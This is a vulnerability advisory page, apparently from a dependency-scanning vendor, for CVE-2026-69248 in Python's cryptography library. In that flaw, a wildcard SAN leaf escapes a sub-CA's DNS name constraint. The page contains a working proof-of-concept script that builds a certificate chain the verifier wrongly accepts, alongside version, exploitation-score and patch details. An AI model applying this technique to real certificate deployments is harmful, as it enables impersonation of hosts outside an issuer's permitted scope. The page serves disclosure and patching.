NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-69248 — cryptography

Fix: pyca/cryptography@4d035a4

CVE-2026-69248 is a CWE-295 vulnerability in cryptography. A fix is available for cryptography — see the affected versions and patch details below.

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Also known asGHSA-m2h6-j472-rp4cPYSEC-2026-3554
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-69248.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk+0.06%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk
0.00%0.25%0.50%0.74%0.2%0.2%Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍cryptography

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIcryptography≥ 45.0.0&&< 49.0.049.0.0pip install --upgrade 'cryptography==49.0.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cryptography, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update cryptography to 49.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-69248 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Red Hat rates this Moderate. Exploitation requires a DNS-constrained intermediate CA that issues a broader wildcard leaf SAN than its permitted subtree, which Web PKI does not use. First affected upstream version is 46.0.6 (PR #14542); fixed in 49.0.0 (PR #14888 / GHSA-m2h6-j472-rp4c).

Workaround published by Red Hat
Red Hat is not aware of a practical temporary workaround that fully mitigates this issue or meets Red Hat Product Security's standards for usability, deployment, applicability, or stability. Customers are advised to apply the relevant security updates when/if they become available.
Source: Red Hat security advisory for CVE-2026-69248 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Enterprise Linux 10python3.14-cryptography-0:45.0.4-4.el10_2.5RHSA-2026:64795
Red Hat Enterprise Linux 9python3.14-cryptography-0:45.0.4-4.el9_8.6RHSA-2026:64774
Red Hat AI Inference Server 3.4rhaii/vllm-cpu-rhel9:1790075793RHSA-2026:70965
Red Hat AI Inference Server 3.4rhaii/vllm-spyre-rhel9:1790076141RHSA-2026:70969
Red Hat AI Inference Server 3.4rhaii/vllm-cuda-rhel9:1790090131RHSA-2026:70979
Red Hat AI Inference Server 3.4rhaii/vllm-rocm-rhel9:1790109620RHSA-2026:70995
Red Hat Hardened Imagespython-cryptography-main-50.0.0-1.hum1RHSA-2026:55543

Frequently Asked Questions

### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, as
O3 Security · Impact-Aware SCA

Is CVE-2026-69248 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-69248: cryptography — Fixed in 49.0.0